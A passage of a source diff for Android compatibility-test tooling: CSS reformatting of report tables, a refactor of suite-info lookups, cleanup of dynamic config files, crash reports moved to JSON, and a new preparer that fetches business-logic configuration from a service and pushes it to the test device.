- border-collapse:collapse;
- margin-left:auto;
- margin-right:auto;
+ background-color: #d4e9a9;
+ border-collapse: collapse;
+ margin-left: auto;
+ margin-right: auto;
}
table.testsummary th {
- background-color: #A5C639;
- border: 1px outset gray;
- padding: 0.5em;
+ background-color: #a5c639;
+ border: 1px outset #808080;
+ padding: .5em;
}
table.testsummary td {
- border: 1px outset #A5C639;
- padding: 0.5em;
- text-align: center;
+ border: 1px outset #a5c639;
+ padding: .5em;
+ text-align: center;
}
table.testdetails {
- background-color: rgb(212, 233, 169);
- border-collapse:collapse;
- border-width:1;
- border-color: #A5C639;
- margin-left:auto;
- margin-right:auto;
- margin-bottom: 2em;
- vertical-align: top;
- width: 95%;
+ background-color: #d4e9a9;
+ border-collapse: collapse;
+ border-color: #a5c639;
+ border-width: 1;
+ margin-bottom: 2em;
+ margin-left: auto;
+ margin-right: auto;
+ vertical-align: top;
+ width: 95%;
}
table.testdetails th {
- background-color: #A5C639;
- border-width: 1px;
- border-color: gray;
- border-style: outset;
- height: 2em;
- padding: 0.2em;
+ background-color: #a5c639;
+ border: 1px outset #808080;
+ height: 2em;
+ padding: .2em;
}
table.testdetails td {
- border-width: 1px;
- border-color: #A5C639;
- border-style: outset;
- text-align: left;
- vertical-align: top;
- padding: 0.2em;
+ border: 1px outset #a5c639;
+ padding: .2em;
+ text-align: left;
+ vertical-align: top;
}
table.testdetails td.module {
- background-color: white;
- border: 0px;
- font-weight: bold;
+ background-color: #fff;
+ border: 0;
+ font-weight: bold;
}
table.incompletemodules {
- background-color: rgb(212, 233, 169);
- border-collapse:collapse;
- margin-left:auto;
- margin-right:auto;
+ background-color: #d4e9a9;
+ border-collapse: collapse;
+ margin-left: auto;
+ margin-right: auto;
}
table.incompletemodules th {
- background-color: #A5C639;
- border: 1px outset gray;
- padding: 0.5em;
+ background-color: #a5c639;
+ border: 1px outset #808080;
+ padding: .5em;
}
table.incompletemodules td {
- border: 1px outset #A5C639;
- padding: 0.5em;
- text-align: center;
+ border: 1px outset #a5c639;
+ padding: .5em;
+ text-align: center;
}
/* Test cell details */
td.failed {
- background-color: #FA5858;
- font-weight:bold;
- vertical-align: top;
- text-align: center;
+ background-color: #fa5858;
+ font-weight: bold;
+ text-align: center;
+ vertical-align: top;
}
td.failuredetails {
- text-align: left;
+ text-align: left;
}
td.pass {
- text-align: center;
- margin-left:auto;
- margin-right:auto;
+ margin-left: auto;
+ margin-right: auto;
+ text-align: center;
}
td.not_executed {
- background-color: #A5C639;
- vertical-align: top;
- text-align: center;
+ background-color: #a5c639;
+ text-align: center;
+ vertical-align: top;
}
td.testname {
- border-width: 1px;
- border-color: #A5C639;
- border-style: outset;
- text-align: left;
- vertical-align: top;
- padding:1;
- overflow:hidden;
+ border: 1px outset #a5c639;
+ overflow: hidden;
+ padding: 1;
+ text-align: left;
+ vertical-align: top;
}
td.testcase {
- border-width: 1px;
- border-color: #A5C639;
- border-style: outset;
- text-align: left;
- vertical-align: top;
- padding:1;
- overflow:hidden;
- font-weight:bold;
+ border: 1px outset #a5c639;
+ font-weight: bold;
+ overflow: hidden;
+ padding: 1;
+ text-align: left;
+ vertical-align: top;
}
div.details {
- white-space: pre-wrap; /* css-3 */
- white-space: -moz-pre-wrap; /* Mozilla, since 1999 */
- white-space: -pre-wrap; /* Opera 4-6 */
- white-space: -o-pre-wrap; /* Opera 7 */
- word-wrap: break-word; /* Internet Explorer 5.5+ */
- overflow:auto;
+ overflow: auto;
+ white-space: pre-wrap; /* css-3 */
+ white-space: -moz-pre-wrap; /* Mozilla, since 1999 */
+ white-space: -pre-wrap; /* Opera 4-6 */
+ white-space: -o-pre-wrap; /* Opera 7 */
+ word-wrap: break-word; /* Internet Explorer 5.5+ */
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
index 4eb0843..50d1c3a 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildHelper.java
@@ -15,9 +15,9 @@
*/
package com.android.compatibility.common.tradefed.build;
-import com.android.compatibility.common.util.DynamicConfigHostSide;
import com.android.tradefed.build.IBuildInfo;
import com.android.tradefed.build.IFolderBuildInfo;
+import com.android.tradefed.build.VersionedFile;
import com.android.tradefed.util.FileUtil;
import java.io.File;
@@ -44,9 +44,13 @@
private static final String ROOT_DIR2 = "ROOT_DIR2";
private static final String DYNAMIC_CONFIG_OVERRIDE_URL = "DYNAMIC_CONFIG_OVERRIDE_URL";
+ private static final String BUSINESS_LOGIC_HOST_FILE = "BUSINESS_LOGIC_HOST_FILE";
private static final String RETRY_COMMAND_LINE_ARGS = "retry_command_line_args";
private static final String ALT_HOST_TESTCASE_DIR = "ANDROID_HOST_OUT_TESTCASES";
private static final String ALT_TARGET_TESTCASE_DIR = "ANDROID_TARGET_OUT_TESTCASES";
+
+ private static final String CONFIG_PATH_PREFIX = "DYNAMIC_CONFIG_FILE:";
+
private final IBuildInfo mBuildInfo;
/**
@@ -107,26 +111,52 @@
}
public void addDynamicConfigFile(String moduleName, File configFile) {
- mBuildInfo.addBuildAttribute(DynamicConfigHostSide.CONFIG_PATH_PREFIX + moduleName,
- configFile.getAbsolutePath());
+ // If invocation fails and ResultReporter never moves this file into the result,
+ // using setFile() ensures BuildInfo will delete upon cleanUp().
+ mBuildInfo.setFile(configFile.getName(), configFile,
+ CONFIG_PATH_PREFIX + moduleName /* version */);
+ }
+
+ public void setBusinessLogicHostFile(File hostFile) {
+ mBuildInfo.addBuildAttribute(BUSINESS_LOGIC_HOST_FILE, hostFile.getAbsolutePath());
}
public void setModuleIds(String[] moduleIds) {
mBuildInfo.addBuildAttribute(MODULE_IDS, String.join(",", moduleIds));
}
+ /**
+ * Returns the map of the dynamic config files downloaded.
+ */
public Map<String, File> getDynamicConfigFiles() {
Map<String, File> configMap = new HashMap<>();
- for (String key : mBuildInfo.getBuildAttributes().keySet()) {
- if (key.startsWith(DynamicConfigHostSide.CONFIG_PATH_PREFIX)) {
- configMap.put(key.substring(DynamicConfigHostSide.CONFIG_PATH_PREFIX.length()),
- new File(mBuildInfo.getBuildAttributes().get(key)));
+ for (VersionedFile vFile : mBuildInfo.getFiles()) {
+ if (vFile.getVersion().startsWith(CONFIG_PATH_PREFIX)) {
+ configMap.put(
+ vFile.getVersion().substring(CONFIG_PATH_PREFIX.length()),
+ vFile.getFile());
}
}
return configMap;
}
/**
+ * @return whether the business logic file has been set for this invocation.
+ */
+ public boolean hasBusinessLogicHostFile() {
+ return mBuildInfo.getBuildAttributes().get(BUSINESS_LOGIC_HOST_FILE) != null;
+ }
+
+ /**
+ * @return a {@link File} representing the file containing business logic data for this
+ * invocation, or null if the business logic file has not been set.
+ */
+ public File getBusinessLogicHostFile() {
+ return (hasBusinessLogicHostFile()) ?
+ new File(mBuildInfo.getBuildAttributes().get(BUSINESS_LOGIC_HOST_FILE)) : null;
+ }
+
+ /**
* @return a {@link File} representing the directory holding the Compatibility installation
* @throws FileNotFoundException if the directory does not exist
*/
@@ -202,6 +232,18 @@
}
/**
+ * @return a {@link File} representing the directory to store screenshots taken while testing.
+ * @throws FileNotFoundException if the directory structure is not valid.
+ */
+ public File getScreenshotsDir() throws FileNotFoundException {
+ File screenshotsDir = new File(getResultDir(), "screenshots");
+ if (!screenshotsDir.exists()) {
+ screenshotsDir.mkdirs();
+ }
+ return screenshotsDir;
+ }
+
+ /**
* @return a {@link File} representing the test modules directory.
* @throws FileNotFoundException if the directory structure is not valid.
*/
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProvider.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProvider.java
index 722d55a..3654d78 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProvider.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProvider.java
@@ -16,7 +16,6 @@
package com.android.compatibility.common.tradefed.build;
import com.android.annotations.VisibleForTesting;
-import com.android.compatibility.SuiteInfo;
import com.android.tradefed.build.BuildInfo;
import com.android.tradefed.build.BuildRetrievalError;
import com.android.tradefed.build.DeviceBuildInfo;
@@ -24,11 +23,14 @@
import com.android.tradefed.build.IBuildProvider;
import com.android.tradefed.build.IDeviceBuildInfo;
import com.android.tradefed.build.IDeviceBuildProvider;
+import com.android.tradefed.build.VersionedFile;
import com.android.tradefed.config.Option;
import com.android.tradefed.config.Option.Importance;
import com.android.tradefed.config.OptionClass;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
+import com.android.tradefed.util.FileUtil;
import java.io.File;
import java.text.SimpleDateFormat;
@@ -171,7 +173,17 @@
*/
@Override
public void cleanUp(IBuildInfo info) {
- // ignore
+ // Everything should have been copied properly to result folder, we clean up
+ if (info instanceof IDeviceBuildInfo) {
+ for (VersionedFile f : info.getFiles()) {
+ // do not delete the testsdir since it's the real CTS folder.
+ if (!f.getFile().equals(((IDeviceBuildInfo) info).getTestsDir())) {
+ FileUtil.recursiveDelete(f.getFile());
+ }
+ }
+ } else {
+ info.cleanUp();
+ }
}
private void addCompatibilitySuiteInfo(IBuildInfo info) {
@@ -218,28 +230,28 @@
* Return the SuiteInfo name generated at build time. Exposed for testing.
*/
protected String getSuiteInfoName() {
- return SuiteInfo.NAME;
+ return TestSuiteInfo.getInstance().getName();
}
/**
* Return the SuiteInfo build number generated at build time. Exposed for testing.
*/
protected String getSuiteInfoBuildNumber() {
- return SuiteInfo.BUILD_NUMBER;
+ return TestSuiteInfo.getInstance().getBuildNumber();
}
/**
* Return the SuiteInfo fullname generated at build time. Exposed for testing.
*/
protected String getSuiteInfoFullname() {
- return SuiteInfo.FULLNAME;
+ return TestSuiteInfo.getInstance().getFullName();
}
/**
* Return the SuiteInfo version generated at build time. Exposed for testing.
*/
protected String getSuiteInfoVersion() {
- return SuiteInfo.VERSION;
+ return TestSuiteInfo.getInstance().getVersion();
}
/**
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java
index 307d648..32e6197 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java
@@ -15,7 +15,6 @@
*/
package com.android.compatibility.common.tradefed.command;
-import com.android.compatibility.SuiteInfo;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildProvider;
import com.android.compatibility.common.tradefed.result.SubPlanHelper;
@@ -32,6 +31,7 @@
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.IRemoteTest;
import com.android.tradefed.testtype.IRuntimeHintProvider;
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
import com.android.tradefed.util.ArrayUtil;
import com.android.tradefed.util.FileUtil;
import com.android.tradefed.util.Pair;
@@ -73,8 +73,9 @@
*/
@Override
public void run() {
- printLine(String.format("Android %s %s (%s)", SuiteInfo.FULLNAME, SuiteInfo.VERSION,
- SuiteInfo.BUILD_NUMBER));
+ printLine(String.format("Android %s %s (%s)", TestSuiteInfo.getInstance().getFullName(),
+ TestSuiteInfo.getInstance().getVersion(),
+ TestSuiteInfo.getInstance().getBuildNumber()));
printLine("Use \"help\" or \"help all\" to get more information on running commands.");
super.run();
}
@@ -87,7 +88,7 @@
Map<String, String> commandHelp) {
genericHelp.add("Enter 'help add' for help with 'add subplan' commands");
- genericHelp.add("\t----- " + SuiteInfo.FULLNAME + " usage ----- ");
+ genericHelp.add("\t----- " + TestSuiteInfo.getInstance().getFullName() + " usage ----- ");
genericHelp.add("Usage: run <plan> [--module <module name>] [ options ]");
genericHelp.add("Example: run cts --module CtsGestureTestCases --bugreport-on-failure");
genericHelp.add("");
@@ -149,8 +150,10 @@
trie.put(new Runnable() {
@Override
public void run() {
- printLine(String.format("Android %s %s (%s)", SuiteInfo.FULLNAME,
- SuiteInfo.VERSION, SuiteInfo.BUILD_NUMBER));
+ printLine(String.format("Android %s %s (%s)",
+ TestSuiteInfo.getInstance().getFullName(),
+ TestSuiteInfo.getInstance().getVersion(),
+ TestSuiteInfo.getInstance().getBuildNumber()));
}
}, "version"); // override tradefed 'version' command to print test suite name and version
@@ -162,7 +165,8 @@
}
String combinedHelp = listHelp +
LINE_SEPARATOR +
- "\t----- " + SuiteInfo.FULLNAME + " specific options ----- " + LINE_SEPARATOR +
+ "\t----- " + TestSuiteInfo.getInstance().getFullName()
+ + " specific options ----- " + LINE_SEPARATOR +
"\tp[lans] List all plans available" + LINE_SEPARATOR +
"\tm[odules] List all modules available" + LINE_SEPARATOR +
"\tr[esults] List all results" + LINE_SEPARATOR;
@@ -175,7 +179,8 @@
}
String combinedRunHelp = runHelp +
LINE_SEPARATOR +
- "\t----- " + SuiteInfo.FULLNAME + " specific options ----- " + LINE_SEPARATOR +
+ "\t----- " + TestSuiteInfo.getInstance().getFullName()
+ + " specific options ----- " + LINE_SEPARATOR +
"\t<plan> --module/-m <module> Run a test module" + LINE_SEPARATOR +
"\t<plan> --module/-m <module> --test/-t <test_name> Run a specific test from" +
" the module. Test name can be <package>.<class>, <package>.<class>#<method> or "
@@ -210,7 +215,7 @@
*/
@Override
protected String getConsolePrompt() {
- return String.format("%s-tf > ", SuiteInfo.NAME.toLowerCase());
+ return String.format("%s-tf > ", TestSuiteInfo.getInstance().getName().toLowerCase());
}
private void listModules() {
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
index e53698e..328148c 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
@@ -97,7 +97,8 @@
private static final List<String> NOT_RETRY_FILES = Arrays.asList(
ChecksumReporter.NAME,
ChecksumReporter.PREV_NAME,
- ResultHandler.FAILURE_REPORT_NAME);
+ ResultHandler.FAILURE_REPORT_NAME,
+ "diffs");
@Option(name = CompatibilityTest.RETRY_OPTION,
shortName = 'r',
@@ -150,7 +151,6 @@
private int mCurrentTestNum;
private int mTotalTestsInModule;
-
// Whether modules can be marked done for this invocation. Initialized in invocationStarted()
// Visible for unit testing
protected boolean mCanMarkDone;
@@ -513,7 +513,7 @@
try {
// Zip the full test results directory.
- copyDynamicConfigFiles(mBuildHelper.getDynamicConfigFiles(), mResultDir);
+ copyDynamicConfigFiles();
copyFormattingFiles(mResultDir, mBuildHelper.getSuiteName());
File resultFile = generateResultXmlFile();
@@ -576,9 +576,13 @@
try {
File logFile = null;
if (mCompressLogs) {
- logFile = mTestLogSaver.saveAndGZipLogData(name, type, stream.createInputStream());
+ try (InputStream inputStream = stream.createInputStream()) {
+ logFile = mTestLogSaver.saveAndGZipLogData(name, type, inputStream);
+ }
} else {
- logFile = mTestLogSaver.saveLogData(name, type, stream.createInputStream());
+ try (InputStream inputStream = stream.createInputStream()) {
+ logFile = mTestLogSaver.saveLogData(name, type, inputStream);
+ }
}
debug("Saved logs for %s in %s", name, logFile.getAbsolutePath());
} catch (IOException e) {
@@ -588,7 +592,6 @@
}
}
-
/* Write device-info files to the result, invoked only by the master result reporter */
private void testLogDeviceInfo(String name, InputStreamSource stream) {
try {
@@ -837,29 +840,33 @@
/**
* move the dynamic config files to the results directory
- *
- * @param configFiles
- * @param resultsDir
*/
- static void copyDynamicConfigFiles(Map<String, File> configFiles, File resultsDir) {
- if (configFiles.size() == 0) return;
-
- File configDir = new File(resultsDir, "config");
- boolean mkdirSuccess = configDir.mkdir(); // success check added for b/63030111
- if (!mkdirSuccess) {
+ private void copyDynamicConfigFiles() {
+ File configDir = new File(mResultDir, "config");
+ if (!configDir.mkdir()) {
warn("Failed to make dynamic config directory \"%s\" in the result",
configDir.getAbsolutePath());
}
- for (String moduleName : configFiles.keySet()) {
- File srcFile = configFiles.get(moduleName);
- File destFile = new File(configDir, moduleName+".dynamic");
- try {
- FileUtil.copyFile(srcFile, destFile);
+
+ Set<String> uniqueModules = new HashSet<>();
+ for (IBuildInfo buildInfo : mMasterBuildInfos) {
+ CompatibilityBuildHelper helper = new CompatibilityBuildHelper(buildInfo);
+ Map<String, File> dcFiles = helper.getDynamicConfigFiles();
+ for (String moduleName : dcFiles.keySet()) {
+ File srcFile = dcFiles.get(moduleName);
+ if (!uniqueModules.contains(moduleName)) {
+ // have not seen config for this module yet, copy into result
+ File destFile = new File(configDir, moduleName + ".dynamic");
+ try {
+ FileUtil.copyFile(srcFile, destFile);
+ uniqueModules.add(moduleName); // Add to uniqueModules if copy succeeds
+ } catch (IOException e) {
+ warn("Failure when copying config file \"%s\" to \"%s\" for module %s",
+ srcFile.getAbsolutePath(), destFile.getAbsolutePath(), moduleName);
+ CLog.e(e);
+ }
+ }
FileUtil.deleteFile(srcFile);
- } catch (IOException e) {
- warn("Failure when copying config file \"%s\" to \"%s\" for module %s",
- srcFile.getAbsolutePath(), destFile.getAbsolutePath(), moduleName);
- CLog.e(e);
}
}
}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/BusinessLogicPreparer.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/BusinessLogicPreparer.java
new file mode 100644
index 0000000..cd4f701
--- /dev/null
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/BusinessLogicPreparer.java
@@ -0,0 +1,219 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.targetprep;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.compatibility.common.tradefed.util.DynamicConfigFileReader;
+import com.android.compatibility.common.util.BusinessLogic;
+import com.android.compatibility.common.util.FeatureUtil;
+import com.android.compatibility.common.util.PropertyUtil;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.Option;
+import com.android.tradefed.config.OptionClass;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.targetprep.BuildError;
+import com.android.tradefed.targetprep.ITargetCleaner;
+import com.android.tradefed.targetprep.TargetSetupError;
+import com.android.tradefed.testtype.suite.TestSuiteInfo;
+import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.MultiMap;
+import com.android.tradefed.util.StreamUtil;
+import com.android.tradefed.util.net.HttpHelper;
+import com.android.tradefed.util.net.IHttpHelper;
+
+import org.xmlpull.v1.XmlPullParserException;
+
+import java.io.File;
+import java.io.IOException;
+import java.net.URL;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Pushes business Logic to the host and the test device, for use by test cases in the test suite.
+ */
+@OptionClass(alias="business-logic-preparer")
+public class BusinessLogicPreparer implements ITargetCleaner {
+
+ /* Placeholder in the service URL for the suite to be configured */
+ private static final String SUITE_PLACEHOLDER = "{suite-name}";
+
+ /* String for creating files to store the business logic configuration on the host */
+ private static final String FILE_LOCATION = "business-logic";
+ /* Extension of business logic files */
+ private static final String FILE_EXT = ".bl";
+
+ /* Dynamic config constants */
+ private static final String DYNAMIC_CONFIG_FEATURES_KEY = "business_logic_device_features";
+ private static final String DYNAMIC_CONFIG_PROPERTIES_KEY = "business_logic_device_properties";
+
+ @Option(name = "business-logic-url", description = "The URL to use when accessing the " +
+ "business logic service, parameters not included", mandatory = true)
+ private String mUrl;
+
+ @Option(name = "business-logic-api-key", description = "The API key to use when accessing " +
+ "the business logic service.", mandatory = true)
+ private String mApiKey;
+
+ @Option(name = "cleanup", description = "Whether to remove config files from the test " +
+ "target after test completion.")
+ private boolean mCleanup = true;
+
+ @Option(name = "ignore-business-logic-failure", description = "Whether to proceed with the " +
+ "suite invocation if retrieval of business logic fails.")
+ private boolean mIgnoreFailure = false;
+
+ private String mDeviceFilePushed;
+ private String mHostFilePushed;
+
+ /**
+ * {@inheritDoc}
+ */
+ @Override
+ public void setUp(ITestDevice device, IBuildInfo buildInfo) throws TargetSetupError, BuildError,
+ DeviceNotAvailableException {
+ String requestString = buildRequestString(device, buildInfo);
+ // Retrieve business logic string from service
+ String businessLogicString = null;
+ try {
+ URL request = new URL(requestString);
+ businessLogicString = StreamUtil.getStringFromStream(request.openStream());
+ } catch (IOException e) {
+ if (mIgnoreFailure) {
+ CLog.e("Failed to connect to business logic service.\nProceeding with test"
+ + "invocation, tests depending on the remote configuration will fail.\n");
+ return;
+ } else {
+ throw new TargetSetupError(String.format(
+ "Cannot connect to business logic service for suite %s.\nIf this problem "
+ + "persists, re-invoking with option '--ignore-business-logic-failure' will "
+ + "cause tests to execute anyways (though tests depending on the remote "
+ + "configuration will fail).", TestSuiteInfo.getInstance().getName()), e,
+ device.getDeviceDescriptor());
+ }
+ }
+ // Push business logic string to host file
+ try {
+ File hostFile = FileUtil.createTempFile(FILE_LOCATION, FILE_EXT);
+ FileUtil.writeToFile(businessLogicString, hostFile);
+ mHostFilePushed = hostFile.getAbsolutePath();
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(buildInfo);
+ buildHelper.setBusinessLogicHostFile(hostFile);
+ } catch (IOException e) {
+ throw new TargetSetupError(String.format(
+ "Retrieved business logic for suite %s could not be written to host",
+ TestSuiteInfo.getInstance().getName()), device.getDeviceDescriptor());
+ }
+ // Push business logic string to device file
+ removeDeviceFile(device); // remove any existing business logic file from device
+ if (device.pushString(businessLogicString, BusinessLogic.DEVICE_FILE)) {
+ mDeviceFilePushed = BusinessLogic.DEVICE_FILE;
+ } else {
+ throw new TargetSetupError(String.format(
+ "Retrieved business logic for suite %s could not be written to device %s",
+ TestSuiteInfo.getInstance().getName(), device.getSerialNumber()),
+ device.getDeviceDescriptor());
+ }
+ }
+
+ /** Helper to populate the business logic service request with info about the device. */
+ private String buildRequestString(ITestDevice device, IBuildInfo buildInfo)
+ throws DeviceNotAvailableException {
+ CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(buildInfo);
+ String baseUrl = mUrl.replace(SUITE_PLACEHOLDER, getSuiteName());
+ MultiMap<String, String> paramMap = new MultiMap<>();
+ paramMap.put("key", mApiKey);
+ paramMap.put("suite_version", buildHelper.getSuiteVersion());
+ paramMap.put("oem", PropertyUtil.getManufacturer(device));
+ for (String feature : getBusinessLogicFeatures(device, buildInfo)) {
+ paramMap.put("features", feature);
+ }
+ for (String property : getBusinessLogicProperties(device, buildInfo)) {
+ paramMap.put("properties", property);
+ }
+ IHttpHelper helper = new HttpHelper();
+ return helper.buildUrl(baseUrl, paramMap);
+ }
+
+ /* Get device properties list, with element format "<property_name>:<property_value>" */
+ private List<String> getBusinessLogicProperties(ITestDevice device, IBuildInfo buildInfo)
+ throws DeviceNotAvailableException {
+ List<String> properties = new ArrayList<>();
+ Map<String, String> clientIds = PropertyUtil.getClientIds(device);
+ for (Map.Entry<String, String> id : clientIds.entrySet()) {
+ // add client IDs to the list of properties
+ properties.add(String.format("%s:%s", id.getKey(), id.getValue()));
+ }
+
+ try {
+ List<String> propertyNames = DynamicConfigFileReader.getValuesFromConfig(buildInfo,
+ getSuiteName(), DYNAMIC_CONFIG_PROPERTIES_KEY);
+ for (String name : propertyNames) {
+ // Use String.valueOf in case property is undefined for the device ("null")
+ String value = String.valueOf(device.getProperty(name));
+ properties.add(String.format("%s:%s", name, value));
+ }
+ } catch (XmlPullParserException | IOException e) {
+ CLog.e("Failed to pull business logic properties from dynamic config");
+ }
+ return properties;
+ }
+
+ /* Get device features list */
+ private List<String> getBusinessLogicFeatures(ITestDevice device, IBuildInfo buildInfo)
+ throws DeviceNotAvailableException {
+ try {
+ List<String> dynamicConfigFeatures = DynamicConfigFileReader.getValuesFromConfig(
+ buildInfo, getSuiteName(), DYNAMIC_CONFIG_FEATURES_KEY);
+ Set<String> deviceFeatures = FeatureUtil.getAllFeatures(device);
+ dynamicConfigFeatures.retainAll(deviceFeatures);
+ return dynamicConfigFeatures;
+ } catch (XmlPullParserException | IOException e) {
+ CLog.e("Failed to pull business logic features from dynamic config");
+ return new ArrayList<>();
+ }
+ }
+
+ private String getSuiteName() {
+ return TestSuiteInfo.getInstance().getName().toLowerCase();
+ }
+
+ /**
+ * {@inheritDoc}
+ */
+ @Override
+ public void tearDown(ITestDevice device, IBuildInfo buildInfo, Throwable e)
+ throws DeviceNotAvailableException {
+ // Clean up host file
+ if (mCleanup) {
+ if (mHostFilePushed != null) {
+ FileUtil.deleteFile(new File(mHostFilePushed));
+ }
+ if (mDeviceFilePushed != null && !(e instanceof DeviceNotAvailableException)) {
+ removeDeviceFile(device);
+ }
+ }
+ }
+
+ /** Remove business logic file from the device */
+ private static void removeDeviceFile(ITestDevice device) throws DeviceNotAvailableException {
+ device.executeShellCommand(String.format("rm -rf %s", BusinessLogic.DEVICE_FILE));
+ }
+}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/CrashReporter.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/CrashReporter.java
index c8a7dfe..f17498d 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/CrashReporter.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/CrashReporter.java
@@ -16,7 +16,6 @@
package com.android.compatibility.common.tradefed.targetprep;
import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.Crash;
import com.android.ddmlib.Log.LogLevel;
import com.android.ddmlib.MultiLineReceiver;
import com.android.tradefed.build.IBuildInfo;
@@ -25,8 +24,7 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.targetprep.ITargetCleaner;
-import java.io.ObjectOutputStream;
-import java.io.FileOutputStream;
+import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
@@ -34,8 +32,7 @@
import java.nio.file.Path;
import java.nio.file.attribute.PosixFilePermissions;
import java.util.regex.Matcher;
-import java.util.List;
-import java.util.ArrayList;
+import org.json.JSONArray;
/**
* Starts and kills the crash reporter thread. This thread uploads crash results to devices as they
@@ -46,7 +43,7 @@
private BackgroundDeviceAction mBackgroundThread;
/** Uploads the current buffer of Crashes to the phone under the current test name. */
- private static void upload(ITestDevice device, String testname, List<Crash> crashes) {
+ private static void upload(ITestDevice device, String testname, JSONArray crashes) {
try {
if (testname == null) {
CLog.logAndDisplay(LogLevel.ERROR, "Attempted upload with no test name");
@@ -59,9 +56,8 @@
Files.setPosixFilePermissions(
tmpPath, PosixFilePermissions.fromString("rw-r--r--"));
File reportFile = tmpPath.toFile();
- try (ObjectOutputStream writer = new ObjectOutputStream(
- new FileOutputStream(reportFile))) {
- writer.writeObject(crashes);
+ try (BufferedWriter writer = new BufferedWriter(new FileWriter(reportFile))) {
+ writer.write(crashes.toString());
}
device.pushFile(reportFile, CrashUtils.DEVICE_PATH + testname);
} finally {
@@ -114,13 +110,11 @@
private class CrashReporterReceiver extends MultiLineReceiver {
private String mTestName;
- private List<Crash> mCrashes;
- private StringBuilder mLogcatChunk;
+ private JSONArray mCrashes;
+ private StringBuilder mLogcatChunk = new StringBuilder();
private ITestDevice mDevice;
public CrashReporterReceiver(ITestDevice device) {
- mLogcatChunk = new StringBuilder();
- mCrashes = new ArrayList<Crash>();
mDevice = device;
}
@@ -130,10 +124,10 @@
Matcher m;
if ((m = CrashUtils.sNewTestPattern.matcher(line)).find()) {
mTestName = m.group(1);
- mCrashes = new ArrayList<Crash>();
+ mCrashes = new JSONArray();
mLogcatChunk.setLength(0);
} else if (CrashUtils.sEndofCrashPattern.matcher(line).find()) {
- mCrashes = CrashUtils.getAllCrashes(mLogcatChunk.toString());
+ CrashUtils.addAllCrashes(mLogcatChunk.toString(), mCrashes);
mLogcatChunk.setLength(0);
} else if (CrashUtils.sUploadRequestPattern.matcher(line).find()) {
upload(mDevice, mTestName, mCrashes);
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DynamicConfigPusher.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DynamicConfigPusher.java
index d64c210..3d34f3e 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DynamicConfigPusher.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/DynamicConfigPusher.java
@@ -28,7 +28,6 @@
import com.android.tradefed.targetprep.BuildError;
import com.android.tradefed.targetprep.ITargetCleaner;
import com.android.tradefed.targetprep.TargetSetupError;
-import com.android.tradefed.util.FileUtil;
import com.android.tradefed.util.StreamUtil;
import org.json.JSONException;
@@ -50,7 +49,6 @@
}
private static final String LOG_TAG = DynamicConfigPusher.class.getSimpleName();
